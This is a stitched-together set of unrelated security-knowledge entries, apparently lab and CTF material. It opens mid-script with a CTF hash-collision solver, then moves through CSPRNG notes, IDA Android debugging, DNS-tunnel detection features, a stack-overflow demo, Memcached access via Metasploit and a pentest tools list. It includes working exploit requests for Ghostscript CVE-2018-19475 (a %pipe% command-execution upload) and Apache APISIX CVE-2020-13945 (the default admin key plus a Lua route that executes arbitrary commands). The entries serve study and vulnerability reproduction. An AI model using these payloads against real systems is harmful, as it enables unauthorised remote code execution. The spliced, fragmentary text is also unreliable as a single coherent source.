itertools.product(string.ascii_letters + string.digits, repeat=4): prefix = "".join(list(x)) h = hashlib.sha256(prefix + suffix).hexdigest() if h == expected: return prefix def get_flag(msg1, msg2): url = "111.186.63.14" port = 10001 s = nc(url, port) challenge = receive_until_match(s, "XXXX:") suffix, result = re.findall("sha256\(XXXX\+(.*?)\) == (.*)\s", challenge)[0] print(suffix, result) prefix = break_pow(suffix, result) print(prefix) send(s, prefix) send(s, msg1) sleep(1) send(s, msg2) print(interactive(s)) def main(): start = time() m1, m2 = collide() print(m1.encode("hex")) print(m2.encode("hex")) stop = time() print('found in', stop - start) get_flag(m1, m2) def sanity(): msg = urandom(rate / 8) _, c, state1 = hash(msg) while True: msg2 = urandom(rate / 8) _, c2, state2 = hash(msg2) if c == c2: break zero = '\0' * (rate / 8) res1, _, _ = hash(msg + zero) fixer = xor_hex(state1, state2).decode("hex")[:-(capacity / 8)] res2, _, _ = hash(msg2 + fixer) print('res1', res1) print('res2', res2) assert res1 == res2 assert msg != msg2 def sanity2(): start = time() m1, m2 = collide() stop = time() print('found in', stop - start) assert m1 != m2 assert hash(m1) == hash(m2) if __name__ == '__main__': freeze_support() # sanity() # sanity2() # main() msg1 = '2ac79b239ee01b3da93a9ed8edf4d035240d03360ab7f2a90fd7797135bde103b35e08e0a60b49694d8d02acc896261f589e3320e2d7ec55d3661d3dc57716f6047b26b47d2c22fe5a8d17de4c7e9dd98d2b45f3add9503b1797d225df55116a9d4f4105442145af5d2eed582b3b2812d70eea058faeab04245b762c6993f705685e3c5e2d6488f92068b5c23b9df115938fe512cf4b24ffb80b73a45b492d1360e9de6263d8d8effd3cb2c04b5f80eb2cb8dcab0f6bba8319ba327dfc447937fd870000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' msg2 = '4cf30b4f6c5bea3644e4f7093365fc9808dec255b7930c76d4609b41edac3b3c27ab9330684f5cd6c2ab110f982ba8bf218a8a186a90bb9dbaa0f8592c64d9b4979d76b06f66660bb25fc7ec35ed57d02b53350a976fef12b902e867a4d0ac3b5f22e1571b278e5fd2c38fcce79a6e55d5ab8cc1b1e25ea245e395db388e7e0837215f253448c514049780a448c62793c01740123d5a4d6725787130c89b6b53e6fb92398f082d94301f9d6be304cada2cec6537a1db810e2d47d433e85691b209aabf987d2680385b78405abbc0b0fc8315b39d991b13c6b0f13697e1010b1e1da9b482fe966760b4322aa1f5912cfe4e86eb8addc626182d9b2cdb6f4e512e0ab8cff95b51008b5c0003fc64c38c25ab0a3b9e2ba6d959fb781d26472303cdd3404aa0b8552e5c5698837430ca5fd6600a65268e35c002e876f85ecd25a425997dbb8e35f325019cc5777d3ed65f96ce91a2d9b5f6b0e42a9946465c71104c18e067693469b347c48ad429034f7e7d2d87fd97a4fa0bc631b3440b38bdaa1edd0f694c' get_flag(msg1, msg2)
sec-knowleage
# 密码安全伪随机数生成器 ## 介绍 密码学安全伪随机数生成器(cryptographically secure pseudo-random number generator,CSPRNG),也称为密码学伪随机数生成器(cryptographic pseudo-random number generator,CPRNG),是一种特殊的伪随机数生成器。它需要满足满足一些必要的特性,以便于适合于密码学应用。 密码学的很多方面都需要随机数 - 密钥生成 - 生成初始化向量,IV,用于分组密码的 CBC,CFB,OFB 模式 - nounce,用于防止重放攻击以及分组密码的 CTR 模式等、 - [one-time pads](https://en.wikipedia.org/wiki/One-time_pad) - 某些签名方案中的盐,如 [ECDSA](https://en.wikipedia.org/wiki/ECDSA), [RSASSA-PSS](https://en.wikipedia.org/w/index.php?title=RSASSA-PSS&action=edit&redlink=1) ## 需求 毫无疑问,密码学安全伪随机数生成器的要求肯定比一般的伪随机数生成器要高。一般而言,CSPRNG 的要求可以分为两类 - 通过统计随机性测试。CSPRNG 必须通过 [next-bit test](https://en.wikipedia.org/wiki/Next-bit_test),也就是说,知道了一个序列的前 k 个比特,攻击者不可能在多项式时间内以大于 50% 的概率预测出来下一个比特位。这里特别提及一点,姚期智曾在 1982 年证明,如果一个生成器可以通过 [next-bit test](https://en.wikipedia.org/wiki/Next-bit_test),那么它也可以通过所有其他的多项式时间统计测试。 - 必须能够抵抗足够强的攻击,比如当生成器的部分初始状态或者运行时的状态被攻击者获知时,攻击者仍然不能够获取泄漏状态之前的生成的随机数。 ## 分类 就目前而看, CSPRNG 的设计可以分为以下三类 - 基于密码学算法,如密文或者哈希值。 - 基于数学难题 - 某些特殊目的的设计 ## 参考文献 - https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator
sec-knowleage
### IDA 动态调试原生层程序 这里我们会介绍如何调试以下种类的程序 - 基本的原生层程序,即简单的 C/C++ 程序。 - 原生 so 程序 ### IDA 动态调试基本原理 在使用 ida 动态调试原生层程序时,主要会使用到 android_server 程序。该程序会使用 ptrace 技术注入到要调试的程序中。 每一个进程都有一个 status 文件,其中有一字段 TracerPid 用来标识该进程是被哪个进程 ptrace 了。如果没有被其他进程 ptrace,那么就返回 0,否则返回对应进程的 pid。 ### IDA 动态调试基本环境搭建 无论是调试什么原生层程序,基本的环境搭建都是类似的,需要确保 IDA 与手机通信正常。 1. 上传 android_server 文件(在 ida 的 dbgsrv 文件夹下),并修改相应权限使其可以执行 ```shell adb push android_server /data/local/tmp/ adb shell chmod 755 /data/local/tmp/android_server ``` 2. 开启 android_server,其会监听 23946 端口(以 root 权限运行) ```shell adb shell # 进入adb su # 切换root ./data/local/tmp/android_server #启动android_server ``` 3. 建立本地计算机 23496 端口与手机端口 23946 的通信。当 PC 有客户端连接 23946 端口时,其发送的信息都将被转发到手机的相应的端口,这时 android_server 就收到相应的数据,从而使得 IDA 可以调试程序。前面的 tcp 的端口指的是本地 PC 的端口,后面的指的是手机的端口。 ```shell adb forward tcp:23946 tcp:23946 ``` 注意: > 其实这个连接建立的是 adb server 与与手机上 adbd 之间的通信。所以其通信大概是这个样子的 > > IDA<-->adb server<--->adbd<---->android_server > > ​ 电脑 | 手机 **其中,第一步只需要执行一次,后面就不需要再次执行。而第 2-3 步每次都得执行,因此可以写成一个脚本,并将脚本的路径放在系统的 path 环境变量下,这样我们可以执行一个命令直接执行。** ### IDA 动态调试添加程序 这里我们以<u>http://www.52pojie.cn/thread-554068-1-1.html</u>中的 debugnativeapp 为例子。 首先,我们需要把原生程序放到 android 设备中,并修改其权限,使其可以被执行。如下 ```shell adb push debugnativeapp /data/local/tmp/ adb shell chmod 755 /data/local/tmp/debugnativeapp ``` ### IDA 动态调试启动调试 根据原生层程序的位数选择相应的 ida,然后选择 Debugger-Run-RemoteArmLinux/Android debugger 其中,重要的参数意义如下 - Application - 被调试程序在手机上的绝对路径。 - Directory - 被调试程序在手机中的目录 - Hostname - 即我们与哪个主机进行通信,这里我们直接和本地PC进行通信。 主要是选择了三个 Events,使得我们的程序可以在入口点,线程启动时,library加载时自动停止。当然,也可以都进行选择。 启动程序后 注: > 1. 如果发现can not load plugin ,那可能是手机没有root。 > > 2. 如果遇到以下问题,直接cancel就好。具体原因还不清楚。 > > ![](./figure/debug_run_linker.png) > > 3. 如果遇到error: only position independent executables (PIE) are supported.一般是因为android手机的版本大于5,可以尝试 > > - 使用android_server的PIE版本 > - 利用010Editor将可执行ELF文件的header中的elf header字段中的e_type改为ET_DYN(3)。 ### so原生程序调试 对于 so 原生程序,我们可能会想这和普通原生程序有什么不一样的地方呢?自然是有的,so文件不能单独运行。一般是其它程序调用 so 文件中的基本某些函数。所以这里我们就不能直接采用上面 run 的方式了。一般来说,android 中 so 文件都是依赖于 apk 文件的。 这里我们以 <u>http://www.52pojie.cn/thread-554068-1-1.html</u> 中的 debugjniso.apk 为例子。 **首先,必须搭建基本调试环境。** #### 安装程序 首先,我们需要将 apk 安装到手机上。 ```shell adb install debugjniso.apk ``` #### 调试模式启动app 其次,我们需要以**调试模式启动程序**,这样,才可以方便 IDA 来捕捉到相应的程序并对其进行 attach。 ```shell adb shell am start -D -n packagename/.MainActivity ``` #### attach程序 启动 IDA pro,点击Debugger-Attach-RemoteArmLinux/Android debugger,Hostname 填 localhost,port 默认就是 23946 端口。其实就是我们本地电脑的监听端口。 点击 ok,启动调试 **注意:** > 如果最后出现只有一个程序 /bin/sh 可以被 attach,那说明没有以 root 权限运行 android_server 程序。 #### 恢复 app 执行 这时候,app 的界面是 wait for debugger,我们也已经 attach 上去了。这时候,就需要让程序继续运行了。 首先,我们打开 ddms 来选中我们要调试的进程。 这里其实相当于直接执行了 ```shell # 显示手机所有可供调试的用户进程 adb jdwp # 在PC的xxx端口与手机的相应端口之间建立连接,方便通信 adb forward tcp:xxx jdwp:<pid> ``` 之所以不使用命令去执行,是因为我们还得自己去确定我们的 apk 的进程号,这会比较麻烦。 此时,我们的电脑已经与手机的 app 虚拟机之间建立了通信。 同时,我们需要使用 jdb 在 java 层来将我们的 apk 应用 attach 到我们的电脑上,这里我们使用如下的命令。 ```shell jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=xxx ``` 其中 xxx 就是我们在 ddms 看到的 8700 端口,一般默认就是这个。执行之后 ```shell C:\Users\iromise λ jdb.bat jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 设置未捕获的java.lang.Throwable 设置延迟的未捕获的java.lang.Throwable 正在初始化jdb... > ``` 此时,应用已经又继续运行了,不再是之前的 wait for debugger 了。 #### 确定原生函数地址 这里我们再次打开一个 ida,导入该 apk 的 so 库,然后在 export 中寻找我们的函数 可以看出其偏移为 0xc38。 我们再在之前的调试的 IDA 中运行 F9 直到怎么按都不再运行,我们会看到程序断在 linker 处 此时,我们**点击 app 界面的设置标题按钮**(之所以要按这个,是因为在该函数中调用了原生 API),再次观察IDA,可以看出该 so 库已经被加载进入 ```text B3B05000: loaded /data/app/com.droider.debugjniso-1/oat/arm/base.odex B39B9000: loaded /system/lib/hw/gralloc.msm8974.so B39B2000: loaded /system/lib/libmemalloc.so B39AA000: loaded /system/lib/libqdutils.so B3B00000: loaded /data/app/com.droider.debugjniso-1/lib/arm/libdebugjniso.so ``` 这时,我们利用 ctrl+s 定位到该库的起始地址处 0xB3B00000。然后根据 ```text 绝对地址=基地址+相对偏移 ``` 得到 jnistring 的地址。 #### 观察结果 按下 g,然后输入 `+0xC38` ,点击 ok 即可跳转至该函数 ```assembly libdebugjniso.so:B3B00C38 Java_com_droider_debugjniso_TestJniMethods_jniString libdebugjniso.so:B3B00C38 LDR R1, =(unk_B3B02148 - 0xB3B00C4C) libdebugjniso.so:B3B00C3C STMFD SP!, {R4,LR} libdebugjniso.so:B3B00C40 LDR R3, [R0] libdebugjniso.so:B3B00C44 ADD R1, PC, R1 ; unk_B3B02148 libdebugjniso.so:B3B00C48 MOV LR, PC ``` 我们在此函数的开始处 F2 下断点,然后再次F9执行程序,同时观看手机,就可以发现app的标题变成了`你好!Nativemethod` 。 到此,so 原生程序的基本调试步骤就结束了。 注: > 如果中间出现了add map的对话框直接点击Cancel,然后apply即可。 #### 注意事项 1. 当使用模拟器调试 apk 出现异常时,很有可能是应用检测了是否运行在模拟器环境下,考虑使用手机。 2. 当使用真机调试 apk 时,也有可能会遇到异常,卡在某一条指令上,这时我们可以手动执行这条指令,然后将 PC 设置为下一条指令的地址。
sec-knowleage
# GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-19475) 2018年底来自Semmle Security Research Team的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。 参考链接: - https://blog.semmle.com/ghostscript-CVE-2018-19475/ - https://bugs.ghostscript.com/show_bug.cgi?id=700153 ## 漏洞环境 执行如下命令启动漏洞环境(其中包括 GhostScript 9.25、ImageMagick 7.0.8-20): ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。 ## 漏洞复现 将POC作为图片上传,执行命令`id > /tmp/success && cat /tmp/success`: ``` POST /index.php HTTP/1.1 Host: target Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO Content-Length: 279 ------WebKitFormBoundaryukZmnyhO Content-Disposition: form-data; name="file_upload"; filename="1.jpg" content-Type="image/png" %!PS 0 1 300367 {} for {save restore} stopped {} if (%pipe%id > /tmp/success && cat /tmp/success) (w) file ------WebKitFormBoundaryukZmnyhO-- ``` 命令已成功执行: ![](1.png) 当然,真实环境下通常无法直接回显漏洞执行结果,你需要使用带外攻击的方式来检测漏洞。
sec-knowleage
# Apache APISIX's Admin API default access token vulnerability (CVE-2020-13945) [中文版本(Chinese version)](README.zh-cn.md) Apache APISIX is a dynamic, real-time, high-performance API gateway. Apache APISIX has a default built-in API token `edd1c9f034335f136f87ad84b625c8f1` that can be used to access all the admin API, which leads to the remote LUA code execution through the `script` parameter added in the 2.x version. References: - https://apisix.apache.org/docs/apisix/getting-started - https://github.com/apache/apisix/pull/2244 - https://seclists.org/oss-sec/2020/q4/187 ## Vulnerability Environment Execute following command to start a Apache APISIX server 2.11.0 (this vulnerability hasn't been fixed until newest version, might be not considered fixing by vendor): ``` docker compose up -d ``` After the server is started, you can see a default 404 page at `http://your-ip:9080`. ## Vulnerability Reproduce Add a new evil router rule to the APISIX through admin api with default token: ``` POST /apisix/admin/routes HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 Content-Type: application/json Content-Length: 406 { "uri": "/attack", "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M", "upstream": { "type": "roundrobin", "nodes": { "example.com:80": 1 } } } ``` ![](1.png) Then, use this evil router to execute arbitrary commands: ``` http://your-ip:9080/attack?cmd=id ``` ![](2.png)
sec-knowleage
# 隐蔽通讯的检测 ## 基于DNS隐蔽信道的攻击与检测 ### 检测 #### 思路 - 使用字符频率分析 - 基于统计量的行为分析 #### 工具 ##### [BotDAD](https://github.com/mannirulz/BotDAD) - 统计分析了15种DNS的行为特征 | 序号 | DNS特征 | 描述 | | :--: | :---------------------------------------: | :----------------------------------------------------------: | | p1 | 每小时DNS请求的数量 | 受感染的僵尸主机每小时的请求数量往往高于正常主机。 | | p2 | 每小时不同的DNS请求数 | 感染DGA恶意软件的主机往往比普通主机具有更多不同的请求。 | | p3 | 单个域的最大请求数 | 帮助检测DNS隧道,敏感信息通过DNS协议传输。 | | p4 | 每分钟平均请求数 | 用于检测受恶意软件感染的计算机,该计算机不使用短暂的DNS请求,而是使用休眠间隔定期对DNS请求做出贡献。 它的计算方法是将主机发送的请求数除以主机处于活动状态并使用DNS服务的持续时间。 | | p5 | 每分钟最多请求数 | 帮助检测感染恶意软件的僵尸程序,这些恶意软件使用短暂的DNS请求通过域生成算法生成的多个URL与C&C服务器进行通信。 | | p6 | MX记录查询数 | 是网络中基于垃圾邮件的僵尸网络的强有力指标。 | | p7 | PTR记录(从ip地址到域名的一条记录)查询数 | 有助于检测网络中存在异常行为的主机以及可能的感染。 | | p8 | 查询的不同DNS服务器的数量 | 有助于检测网络中具有异常行为的机器,因为标准系统查询多个DNS服务器的情况并不常见。 TLD: top level domain,顶级域名 SLD: second level domain,二级域名 | | p9 | 不同TLD请求的数量 | 在检测基于DGA的机器人方面非常有效,这些机器人不仅生成具有不同二级域的随机域,还生成具有不同顶级域名的随机域。 | | p10 | 不同SLD请求的数量 | 是网络中存在基于DGA的机器人的强烈指示。 | | p11 | 唯一性比率 | 是在主机每小时发送至少1000个请求的假设下,发送的请求数与发送的不同请求数之比。 | | p12 | Failed/NXDOMAIN请求的数量 | 是网络中主机感染的一个非常强的指标。 它通过主机维护响应代码等于DNS_RCODE_NXDOMAIN的响应数。 | | p13 | 已解析IP地址的不同城市数量 | 是一个强烈的异常指标,尤其是当IP地址分布在各个城市时。 使用Maxmind数据库(“Geo2 Databases \| MaxMi,2017”)获得城市映射的IP地址。 | | p14 | 已经解析的ip地址的不同国家数量 | | | p15 | Flux ratio | 在主机发送至少100个查询并且已收到至少100个响应的条件下,发送的不同请求与解析的不同ip地址的比率。 | ## References \[1] 基于DNS隐蔽信道的攻击与检测,[DigApis](https://www.freebuf.com/author/DigApis), https://www.freebuf.com/articles/database/210250.html
sec-knowleage
# 栈溢出原理 ## 介绍 关于栈的介绍,可以阅读 [Linux Pwn](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/) 中的介绍。 ## 基本示例 下面给出一个典型例子,在这个例子中由于变量声明的顺序和 buffer 声明的大小导致存在最后一字节的溢出。 ```c #include <stdio.h> #include <string.h> #define PASSWORD "666666" int verify_password(char *password) { int authenticated; char buffer[8]; authenticated = strcmp(password,PASSWORD); strcpy(buffer,password); return authenticated; } void main() { int valid_flag =0; char password[128]; while(1) { printf("please input password: "); scanf("%s",password); valid_flag = verify_password(password); if (valid_flag !=0) { printf("incorrect password!\n"); } else { printf("Congratulation! You have passed the verification!\n"); break; } } } ``` 这是一个简单的密码校验程序,会判断输入的字符串是否和666666相等。使用 vc6.0 来编译这个程序,成功后使用 winchecksec 查看所开的防护。可以看到 GS 是开启的,但这并不妨碍我们的溢出。 ``` C:\Users\CarlStar\Desktop>winchecksec.exe demo1.exe Dynamic Base : false ASLR : true High Entropy VA : false Force Integrity : false Isolation : true NX : true SEH : true CFG : false RFG : false SafeSEH : true GS : true Authenticode : false .NET : true ``` 使用 OllyDbg 动态调试这个程序,输入 aaaaaa 看一下程序正常的执行流程。为了方便理解整个过程,在 **strcmp** 函数和 **strcpy** 执行完后下一个断点。 现在可以让程序运行,输入 aaaaaa 后程序会执行到我们下的第一个断点。进入 **strcmp** 这个函数,观察它的返回值。因为 a 的 ascii 码值大于 6 的 ascii 码值,不出意外函数会返回 **1** ,x86 下返回值保存在 EAX 寄存器中,函数正常返回后,由于程序完成它的其余功能还会使用这些寄存器,所以这个返回值会保存在栈上,也就是 **ss:[0012FEA0]** 这个地方。 当执行到第二个断点时,看一下栈结构。其中 61 是我们输入 a 的 ascii 码形式,**00** 是字符串结束符。那么 **buffer** 的大小是 8 字节,如果我们输入 8 个 a 的话,最后的字符串结束符会溢出到 **0012FEA0** 这个位置把原来的值覆盖为 0,这样我们就可以改变程序的执行流程,输出 Congratulation! You have passed the verification! ``` 0012FE90 CCCCCCCC 0012FE94 CCCCCCCC 0012FE98 61616161 0012FE9C CC006161 0012FEA0 00000001 ``` 好,我们先让程序正常运行下去。 这次我们输入 8 个 a 验证一下是否如我们想的一样:**字符串的结束符会溢出到 strcmp 的返回值**。可以看到 strcmp 的返回值还是 1。 继续运行到第二个断点处,查看一下当前栈的值。**strcmp的返回值已经成功由 1 溢出为 0 **。 ``` 0012FE90 CCCCCCCC 0012FE94 CCCCCCCC 0012FE98 61616161 0012FE9C 61616161 0012FEA0 00000000 ``` 这时候让程序继续运行,成功的输出了预想的字符串。 ## 参考阅读 [stack buffer overflow](https://en.wikipedia.org/wiki/Stack_buffer_overflow) [0day安全:软件漏洞分析技术]() [Winchecksec](https://github.com/trailofbits/winchecksec)
sec-knowleage
## Hashdesigner (Crypto, 70p) There was this student hash design contest. All submissions were crap, but had promised to use the winning algorithm for our important school safe. We hashed our password and got '00006800007d'. Brute force isn't effective anymore and the hash algorithm had to be collision-resistant, so we're good to go, aren't we? ###ENG [PL](#pl-version) In this task we got homemade hashing code. Although description says brute force is impossible, it is easy to see that hash is effectively only two bytes long, which makes bruting it very easy. Reusing given code, we quickly created a collision and submitted it manually to the service. ###PL version W tym zadaniu dostejemy domowej roboty kod hashujący. Łatwo zauważyć, że ma on efektywnie tylko dwa bajty długości, więc pomimo opisu zadania, zbrutowanie go jest proste. Korzystając z kodu, który dostaliśmy, szybko znaleźliśmy kolizję i wysłaliśmy hasło.
sec-knowleage
# Memcached未授权访问漏洞 ## 漏洞描述 Memcached是一个高速缓存系统,用于存储网络上的大量动态数据。未授权访问漏洞指的是,在没有对Memcached的访问控制的情况下,任意人可以在未经授权的情况下访问和读取存储在Memcached中的数据。这可能导致敏感信息泄露,包括用户密码、信用卡信息等。 ## 环境搭建 ``` wget http://memcached.org/files/old/memcached-1.4.14.tar.gz tar -zxvf memcached-1.4.14.tar.gz cd memcached-1.4.14.tar.gz ./configure && make && make test && sudo make install ``` 启动Memcached ![image-20220726183234778](../../.gitbook/assets/image-20220726183234778.png) ## 漏洞利用 扫描端口 ``` [root@localhost bin]# nmap -p 11211 -sV 192.168.32.183 Starting Nmap 6.40 ( http://nmap.org ) at 2022-07-26 06:35 EDT Nmap scan report for 192.168.32.183 Host is up (0.000052s latency). PORT STATE SERVICE VERSION 11211/tcp open memcached Memcached 1.4.14 Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds ``` 缓存管理命令: `stats` 命令的功能正如其名:转储所连接的 memcached 实例的当前统计数据。在下例中,执行 stats 命令显示了关于当前 memcached 实例的信息 ![image-20220726183200063](../../.gitbook/assets/image-20220726183200063.png) 以上信息显示了当前的流量统计。它服务于连接数量、数据存储到缓存中、缓存命中率以及有关内存使用情况的详细信息以及通过用于存储单个项目的平板分配信息的分布。 `flush_all` 命令。这个最简单的命令仅用于清理缓存中的所有名称/值对。如果您需要将缓存重置到干净的状态。 ![image-20220726183645406](../../.gitbook/assets/image-20220726183645406.png) 统计slabs信息 ![image-20220726183634264](../../.gitbook/assets/image-20220726183634264.png) 使用msf找到key ``` msf6 > search memcached_extractor Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/gather/memcached_extractor normal No Memcached Extractor Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/memcached_extractor msf6 > use auxiliary/gather/memcached_extractor msf6 auxiliary(gather/memcached_extractor) > show options Module options (auxiliary/gather/memcached_extractor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 11211 yes The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host) msf6 auxiliary(gather/memcached_extractor) > set rhosts 192.168.32.183 rhosts => 192.168.32.183 msf6 auxiliary(gather/memcached_extractor) > run [+] 192.168.32.183:11211 - Found 0 keys [*] 192.168.32.183:11211 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ```
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) >, < [binarymist](https://github.com/binarymist) >, < [bkimminich](https://github.com/bkimminich) > ---- # Exploitation Tools `Exploitation` is probably one of the most glamorous parts of a penetration test, yet it is often done with brute force rather than with precision. An exploit should be performed only when you know almost beyond a shadow of a doubt that a particular exploit will be successful. Of course, unforeseen protective measures might be in place on the target that prevent a particular exploit from working—but before you trigger a vulnerability, you should know that the system is vulnerable. Blindly firing off a mass onslaught of exploits and praying for a shell isn’t productive; it is noisy and provides little if any value to you as a penetration tester or to your client. Do your homework first, and then launch well-researched exploits that are likely to succeed. ## Penetration Testing Distributions * [Kali](https://www.kali.org/) - A Linux distribution designed for digital forensics and penetration testing * [ArchStrike](https://archstrike.org/) - An Arch Linux repository for security professionals and enthusiasts * [BlackArch](https://www.blackarch.org/) - Arch Linux-based distribution for penetration testers and security researchers * [NST](http://networksecuritytoolkit.org/) - Network Security Toolkit distribution * [Pentoo](http://www.pentoo.ch/) - Security-focused livecd based on Gentoo * [BackBox](https://backbox.org/) - Ubuntu-based distribution for penetration tests and security assessments * [Parrot](https://www.parrotsec.org/) - A distribution similar to Kali, with multiple architecture ## Basic Penetration Testing Tools * [Metasploit Framework](https://www.metasploit.com/) - World's most used penetration testing software * [Burp Suite](https://portswigger.net/burp/) - An integrated platform for performing security testing of web applications * [ExploitPack](http://exploitpack.com/) - Graphical tool for penetration testing with a bunch of exploits * [BeeF](https://github.com/beefproject/beef) - The Browser Exploitation Framework Project * [faraday](https://github.com/infobyte/faraday) - Collaborative Penetration Test and Vulnerability Management Platform * [evilgrade](https://github.com/infobyte/evilgrade) - The update explotation framework * [commix](https://github.com/stasinopoulos/commix) - Automated All-in-One OS Command Injection and Exploitation Tool * [routersploit](https://github.com/reverse-shell/routersploit) - Automated penetration testing software for router * [exploit-database](https://github.com/offensive-security/exploit-database) - Offensive Security’s Exploit Database Archive ## Docker for Penetration Testing * `docker pull kalilinux/kali-linux-docker` [official Kali Linux](https://hub.docker.com/r/kalilinux/kali-linux-docker/) * `docker pull owasp/zap2docker-stable` - [official OWASP ZAP](https://github.com/zaproxy/zaproxy) * `docker pull wpscanteam/wpscan` - [official WPScan](https://hub.docker.com/r/wpscanteam/wpscan/) * `docker pull pandrew/metasploit` - [docker-metasploit](https://hub.docker.com/r/pandrew/metasploit/) * `docker pull citizenstig/dvwa` - [Damn Vulnerable Web Application (DVWA)](https://hub.docker.com/r/citizenstig/dvwa/) * `docker pull wpscanteam/vulnerablewordpress` - [Vulnerable WordPress Installation](https://hub.docker.com/r/wpscanteam/vulnerablewordpress/) * `docker pull hmlio/vaas-cve-2014-6271` - [Vulnerability as a service: Shellshock](https://hub.docker.com/r/hmlio/vaas-cve-2014-6271/) * `docker pull hmlio/vaas-cve-2014-0160` - [Vulnerability as a service: Heartbleed](https://hub.docker.com/r/hmlio/vaas-cve-2014-0160/) * `docker pull opendns/security-ninjas` - [Security Ninjas](https://hub.docker.com/r/opendns/security-ninjas/) * `docker pull diogomonica/docker-bench-security` - [Docker Bench for Security](https://hub.docker.com/r/diogomonica/docker-bench-security/) * `docker pull ismisepaul/securityshepherd` - [OWASP Security Shepherd](https://hub.docker.com/r/ismisepaul/securityshepherd/) * `docker pull danmx/docker-owasp-webgoat` - [OWASP WebGoat Project docker image](https://hub.docker.com/r/danmx/docker-owasp-webgoat/) * `docker-compose build && docker-compose up` - [OWASP NodeGoat](https://github.com/owasp/nodegoat#option-3---run-nodegoat-on-docker) * `docker pull citizenstig/nowasp` - [OWASP Mutillidae II Web Pen-Test Practice Application](https://hub.docker.com/r/citizenstig/nowasp/) * `docker pull bkimminich/juice-shop` - [OWASP Juice Shop](https://github.com/bkimminich/juice-shop#docker-container--) ## Vulnerability Scanners * [Nexpose](https://www.rapid7.com/products/nexpose/) - Vulnerability Management & Risk Management Software * [Nessus](http://www.tenable.com/products/nessus-vulnerability-scanner) - Vulnerability, configuration, and compliance assessment * [Nikto](https://cirt.net/nikto2) - Web application vulnerability scanner * [OpenVAS](http://www.openvas.org/) - Open Source vulnerability scanner and manager * [OWASP Zed Attack Proxy](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) - Penetration testing tool for web applications * [Secapps](https://secapps.com/) - Integrated web application security testing environment * [w3af](https://github.com/andresriancho/w3af) - Web application attack and audit framework * [Wapiti](http://wapiti.sourceforge.net/) - Web application vulnerability scanner * [WebReaver](http://www.webreaver.com/) - Web application vulnerability scanner for Mac OS X * [DVCS Ripper](https://github.com/kost/dvcs-ripper) - Rip web accessible (distributed) version control systems: SVN/GIT/HG/BZR * [arachni](https://github.com/Arachni/arachni) - Web Application Security Scanner Framework ## Network Tools * [nmap](https://nmap.org/) - Free Security Scanner For Network Exploration & Security Audits * [pig](https://github.com/rafael-santiago/pig) - A Linux packet crafting tool * [tcpdump/libpcap](http://www.tcpdump.org/) - A common packet analyzer that runs under the command line * [Wireshark](https://www.wireshark.org/) - A network protocol analyzer for Unix and Windows * [Network Tools](http://network-tools.com/) - Different network tools: ping, lookup, whois, etc * [netsniff-ng](https://github.com/netsniff-ng/netsniff-ng) - A Swiss army knife for for network sniffing * [Intercepter-NG](http://sniff.su/) - a multifunctional network toolkit * [SPARTA](http://sparta.secforce.com/) - Network Infrastructure Penetration Testing Tool * [dnschef](http://thesprawl.org/projects/dnschef/) - A highly configurable DNS proxy for pentesters * [DNSDumpster](https://dnsdumpster.com/) - Online DNS recon and search service * [dnsenum](https://github.com/fwaeytens/dnsenum/) - Perl script that enumerates DNS information from a domain, attempts zone transfers, performs a brute force dictionary style attack, and then performs reverse look-ups on the results * [dnsmap](https://github.com/makefu/dnsmap/) - Passive DNS network mapper * [dnsrecon](https://github.com/darkoperator/dnsrecon/) - DNS Enumeration Script * [dnstracer](http://www.mavetju.org/unix/dnstracer.php) - Determines where a given DNS server gets its information from, and follows the chain of DNS servers * [passivedns-client](https://github.com/chrislee35/passivedns-client) - Provides a library and a query tool for querying several passive DNS providers * [passivedns](https://github.com/gamelinux/passivedns) - A network sniffer that logs all DNS server replies for use in a passive DNS setup * [Mass Scan](https://github.com/robertdavidgraham/masscan) - TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes. * [Zarp](https://github.com/hatRiot/zarp) - Zarp is a network attack tool centered around the exploitation of local networks * [mitmproxy](https://github.com/mitmproxy/mitmproxy) - An interactive SSL-capable intercepting HTTP proxy for penetration testers and software developers * [mallory](https://github.com/justmao945/mallory) - HTTP/HTTPS proxy over SSH * [Netzob](https://github.com/netzob/netzob) - Reverse engineering, traffic generation and fuzzing of communication protocols * [DET](https://github.com/sensepost/DET) - DET is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time * [pwnat](https://github.com/samyk/pwnat) - punches holes in firewalls and NATs * 